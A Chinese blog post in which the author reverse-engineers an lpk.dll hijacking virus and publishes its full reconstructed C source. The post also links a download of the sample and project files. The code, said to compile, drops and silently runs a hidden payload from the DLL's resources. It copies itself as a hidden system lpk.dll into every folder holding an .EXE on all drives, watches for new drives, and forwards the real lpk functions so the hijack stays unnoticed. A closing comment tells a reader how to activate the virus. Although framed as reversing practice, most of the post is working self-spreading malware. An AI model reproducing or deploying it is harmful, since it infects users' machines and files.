最近闲得无聊,时间都是碎片化的,毫无心情Coding…
逛了逛卡饭,到病毒样本区里随便找了个小玩意…Lpk.dll!看名字就知道这货是DLLHijack,体积不大没壳,正适合我这种菜鸟-_-于是下载下来仍IDA里练手…
虽然没几个sub,不过还是用了我很长时间才把完整代码逆出来,因为目的是练习所以没用F5,逆完后感觉还是学到了点东西,希望下一次能有进步!!最后除了除错可以编译通过并生成mylpk.dll,不过导出表貌似没处理好,函数转发体力活懒得详细搞了…生成后还得再自己添加俩资源
这个玩意貌似没啥实际作用。。释放自身到temp目录。。然后再复制自身到所有含.EXE的目录确保持久感染。。弄了个Event做线程同步,还有几个变量来回用感觉像是全局共享的于是我就pragmadata_seg(“shareddata”)了一下= =
.IDB+PROJECT+.DLL下载地址:https://naylon.0ginr.com/download/lpk.dll
完整逆向代码(356 Lines):
#include <windows.h>
#include "Shlwapi.h"
#pragma data_seg("shareddata")
HMODULE gshModule;
HANDLE gshThread;
HANDLE gshEvent;
#pragma data_seg()
CHAR szResourceFlag[32];
HMODULE ghInstDLL;
CHAR gszSourceFile[MAX_PATH];
DWORD dwLpkTabbedTextOut;
DWORD dwLpkDllInitialize;
DWORD dwLpkDrawTextEx;
CHAR dbLpkEditControl[0x40];
DWORD dwLpkExtTextOut;
DWORD dwLpkGetCharacterPlacement;
DWORD dwLpkGetTextExtentExPoint;
DWORD dwLpkInitialize;
DWORD dwLpkPSMTextOut;
DWORD dwLpkUseGDIWidthCache;
DWORD dwftsWordBreak;
ULONG __stdcall get_my_fake_function_address(LPCSTR lpProcName)
{
ULONG ulAddress = (ULONG)GetProcAddress(ghInstDLL, lpProcName);
if (!ulAddress) {
ExitProcess(-10);
}
return ulAddress;
}
VOID process_orginal_lpk_functions()
{
dwLpkTabbedTextOut = get_my_fake_function_address("LpkTabbedTextOut");
dwLpkDllInitialize = get_my_fake_function_address("LpkDllInitialize");
dwLpkDrawTextEx = get_my_fake_function_address("LpkDrawTextEx");
RtlMoveMemory(dbLpkEditControl, (PVOID)get_my_fake_function_address("LpkEditControl"), 0x40);
dwLpkExtTextOut = get_my_fake_function_address("LpkExtTextOut");
dwLpkGetCharacterPlacement = get_my_fake_function_address("LpkGetCharacterPlacement");
dwLpkGetTextExtentExPoint = get_my_fake_function_address("LpkGetTextExtentExPoint");
dwLpkInitialize = get_my_fake_function_address("LpkInitialize");
dwLpkPSMTextOut = get_my_fake_function_address("LpkPSMTextOut");
dwLpkUseGDIWidthCache = get_my_fake_function_address("LpkUseGDIWidthCache");
dwftsWordBreak = get_my_fake_function_address("ftsWordBreak");
return;
}
BOOL load_system_lpk()
{
CHAR szLibFileName[MAX_PATH];
GetSystemDirectory(szLibFileName, MAX_PATH * sizeof(UCHAR));
lstrcat(szLibFileName, "\\lpk");
gshModule = LoadLibrary(szLibFileName);
if (gshModule) {
process_orginal_lpk_functions();
}
return (gshModule? TRUE: FALSE);
}
BOOL launch_hrl_tmp()
{
BOOL Status = FALSE;
PROCESS_INFORMATION ProcessInfo;
HRSRC hSrc = FindResource(ghInstDLL, "f", (PCHAR)0x0A);
if (hSrc) {
ULONG nSize = SizeofResource(ghInstDLL, hSrc);
HGLOBAL hResData = LoadResource(ghInstDLL, hSrc);
if (hResData && nSize) {
LPVOID lpResource = LockResource(hResData);
if (lpResource) {
UCHAR szTempFile[MAX_PATH];
GetTempPath(MAX_PATH, (PCHAR)szTempFile);
GetTempFileName((PCHAR)szTempFile, "hrl", 0, (PCHAR)szTempFile);
HANDLE hFile = CreateFile((PCHAR)szTempFile, 0x40000000, 1, 0, 2, 0, 0);
if (hFile != INVALID_HANDLE_VALUE) {
ULONG lBytesWrote = 0;
Status = WriteFile(hFile, lpResource, nSize, &lBytesWrote, 0);
CloseHandle(hFile);
}
if (Status == TRUE) {
STARTUPINFO StartupInfo;
RtlZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
Status = CreateProcess(0, (PCHAR)szTempFile, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInfo);
if (Status) {
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
}
}
}
}
}
return Status;
}
BOOL create_mutex()
{
HANDLE hMutex = CreateMutexA(0, 0, szResourceFlag);
if (hMutex) {
CloseHandle(hMutex);
}
return (GetLastError() == 183? TRUE: FALSE);
}
BOOL is_my_name_lpk_dll()
{
UCHAR szModuleName[MAX_PATH];
GetModuleFileName(ghInstDLL, (PCHAR)szModuleName, MAX_PATH *sizeof(UCHAR));
PCHAR lpszFileName = PathFindFileName((PCHAR)szModuleName);
return (lstrcmpi((PCHAR)lpszFileName, "lpk.dll") == 0? TRUE: FALSE);
}
BOOL is_my_image_name_hrl_tmp()
{
UCHAR szPath[MAX_PATH];
GetModuleFileName(0, (PCHAR)szPath, MAX_PATH * sizeof(UCHAR));
PCHAR lpszName = PathFindFileName((PCHAR)szPath);
if (szPath[0] == 'h' && szPath[1] == 'r' && szPath[2] == 'l') {
PCHAR lpszExt = PathFindExtension((PCHAR)szPath);
if (lpszExt) {
if (lstrcmpi((PCHAR)lpszExt, ".TMP")) {
return TRUE;
}
}
}
return FALSE;
}
BOOL check_flag_in_resource()
{
BOOL Status = FALSE;
HRSRC hSrc = FindResource(ghInstDLL, "e", (PCHAR)0x0A);
if (hSrc) {
ULONG nSize = SizeofResource(ghInstDLL, hSrc);
HGLOBAL hResData = LoadResource(ghInstDLL, hSrc);
if (hResData && nSize) {
PCHAR lpResource = (PCHAR)LockResource(hResData);
if (lpResource) {
lstrcpyn((PCHAR)szResourceFlag, lpResource, 32);
Status = TRUE;
}
}
}
return Status;
}
BOOL find_logical_drivers()
{
DWORD dwLogicalDrivers = GetLogicalDrives();
DWORD dwTickCounts = GetTickCount();
DWORD dwTickPresent;
while (WaitForSingleObject(gshEvent, 5000) != WAIT_TIMEOUT) {
dwTickPresent = GetTickCount();
if (dwTickPresent < dwTickCounts || (dwTickPresent – dwTickCounts > 7200000)) {
return TRUE;
}
if (GetLogicalDrives() != dwLogicalDrivers) {
return TRUE;
}
}
return FALSE;
}
DWORD __stdcall thread_process_disk(DWORD nDisk)
{
DWORD Status = TRUE;
if (WaitForSingleObject(gshEvent, 0) == WAIT_TIMEOUT) {
CHAR szPath[MAX_PATH];
// 如果是创建线程时传来的参数,那么就是DiskID
if (nDisk < 256) {
// 由ID转换为盘符,得到搜索根目录
lstrcpy(szPath, "A:\\");
szPath[0] += (CHAR)nDisk;
} else { // 如果是递归时传来的参数,那么就是ASCII字符
lstrcpy(szPath, (PCHAR)nDisk);
}
CHAR szChildPath[MAX_PATH];
lstrcpy(szChildPath, szPath);
// 遍历目录
PCHAR lpFileExt;
WIN32_FIND_DATA tFileInfo;
PathAppend((PCHAR)szPath, "*");
HANDLE hFindFile = FindFirstFile(szPath, &tFileInfo); // 原程序是直接拿nDisk参数当hFindFile用了,这里我单独声明了个HANDLE更直观
if (hFindFile == INVALID_HANDLE_VALUE) {
return TRUE; // 目录里没东西,返回TRUE
}
lstrcpy(szPath, szChildPath);
do {
// .和..代表当前目录和上级目录,对这俩不作处理
if (lstrcmpi((PCHAR)tFileInfo.cFileName, ".") == 0 || lstrcmpi((PCHAR)tFileInfo.cFileName, "..") == 0) {
continue;
}
// 找到目录的话就递归遍历
if (tFileInfo.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) {
if (WaitForSingleObject(gshEvent, 20) != WAIT_TIMEOUT) {
Status = FALSE;
break;
}
lstrcpy(szChildPath, szPath);
PathAppend(szChildPath, tFileInfo.cFileName);
if (!thread_process_disk((DWORD)szChildPath)) {
Status = FALSE;
break;
}
} else {
// 判断该目录下有无.EXE可执行文件
lpFileExt = PathFindExtension(tFileInfo.cFileName);
if (lpFileExt == 0) {
if (WaitForSingleObject(gshEvent, 20) != WAIT_TIMEOUT) {
Status = FALSE;
break;
}
continue;
}
if (lstrcmpi(lpFileExt, ".EXE") == 0) { // 有的话复制自身(lpk.dll)到该目录实现DLL Hijack
lstrcpy(szChildPath, szPath);
PathAppend(szChildPath, "lpk.dll");
if (GetFileAttributes(szChildPath) == -1) {
continue;
}
CopyFile((PCHAR)gszSourceFile, (PCHAR)szChildPath, TRUE);
SetFileAttributes(szChildPath, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
}
lstrcmpi(lpFileExt, ".RAR");
if (WaitForSingleObject(gshEvent, 20) != WAIT_TIMEOUT) {
Status = FALSE;
break;
}
// 这里又是比较神奇..cmp一下就没后文了?!
}
} while (FindNextFile(hFindFile, &tFileInfo));
FindClose(hFindFile);
return Status;
}
return FALSE;
}
DWORD __stdcall thread_traverse_disk(void)
{
// 遍历所有分区,如果分区类型为3则创建线程单独处理之
HANDLE aryHandles[84];
LONG buffer[24];
ZeroMemory(buffer, 24 * sizeof(LONG));
LONG nType;
ULONG nDisk;
ULONG nThreads = 0;
ULONG i, j;
do {
nDisk = 2;
for (i = 0; i – 2 < 24; i++) { // 最多能处理26个分区?这里貌似有小BUG
if (buffer[i] != 1) {
nType = GetDriveType((PCHAR)nDisk);
// 判断分区类型是否为DRIVE_REMOVABLE
if (nType >=2 && nType <= 4) { // if (nType == 3) { ,不知为啥会编译成这样-_-!!
aryHandles[nThreads] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)thread_process_disk, (LPVOID)nDisk, CREATE_SUSPENDED, 0);
if (aryHandles[nThreads] != 0) {
if (SetThreadPriority(aryHandles[nThreads], 0xFFFFFFF1)) {
if (ResumeThread(aryHandles[nThreads]) != -1) {
buffer[i] = 1;
nThreads++;
} else {
TerminateThread(aryHandles[nThreads], 0);
}
} else {
TerminateThread(aryHandles[nThreads], 0);
}
}
}
}
nDisk++;
}
if (nThreads != 0) {
if (WaitForMultipleObjects(nThreads, aryHandles, TRUE, 0) != 0x102) {
ZeroMemory(buffer, 24 * sizeof(LONG));
if (nThreads > 0) {
for (j = 0; j < nThreads; j++) {
CloseHandle(aryHandles[j]);
}
}
nThreads = 0;
}
}
} while (find_logical_drivers());
if (nThreads != 0) { // 这里怎么可能成立-_-||为啥还写这么一段。。奇怪。。
WaitForMultipleObjects(nThreads, aryHandles, TRUE, INFINITE);
if (nThreads > 0) {
for (j = 0; j < nThreads; j++) {
CloseHandle(aryHandles[j]);
}
}
}
return nThreads; /// 返回值无所谓,只不过eax == nThreads所以就这么写了.. XD
}
VOID create_thread()
{
gshThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)thread_traverse_disk, 0, CREATE_SUSPENDED, 0);
if (SetThreadPriority(gshThread, 0xFFFFFFF1)) {
if (ResumeThread(gshThread) != -1) {
return;
}
}
TerminateThread(gshThread, 0);
gshThread = 0;
return;
}
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH: {
ghInstDLL = hinstDLL;
GetModuleFileName(hinstDLL, gszSourceFile, MAX_PATH * sizeof(UCHAR));
DisableThreadLibraryCalls(hinstDLL);
if (check_flag_in_resource()) {
if (!is_my_image_name_hrl_tmp()) {
if (!create_mutex()) {
launch_hrl_tmp();
}
}
if (is_my_name_lpk_dll()) {
gshEvent = CreateEvent(0, 1, 0, 0);
if (gshEvent) {
create_thread();
}
}
}
return load_system_lpk();
}
case DLL_PROCESS_DETACH: {
if (gshEvent) {
SetEvent(gshEvent);
WaitForSingleObject(gshThread, INFINITE);
CloseHandle(gshThread);
CloseHandle(gshEvent);
}
if (gshModule) {
FreeLibrary(gshModule);
}
}
}
return 1;
}
2 comments
楼主你好,我最近在写关于病毒的论文,想用这个病毒来做样本分析,我需要在网络上抓包截图贴在我的论文里面,已经从别的地方拿了LPK.DLL文件回来了,放在目录下但不知道怎么激活,请问可以告诉方法激活病毒吗?
Author
可以自己写一个程序调用LoadLibrary来加载这个DLL,或者找一个引用了LPK.DLL的导出函数的程序放到LPK.DLL所在目录里直接运行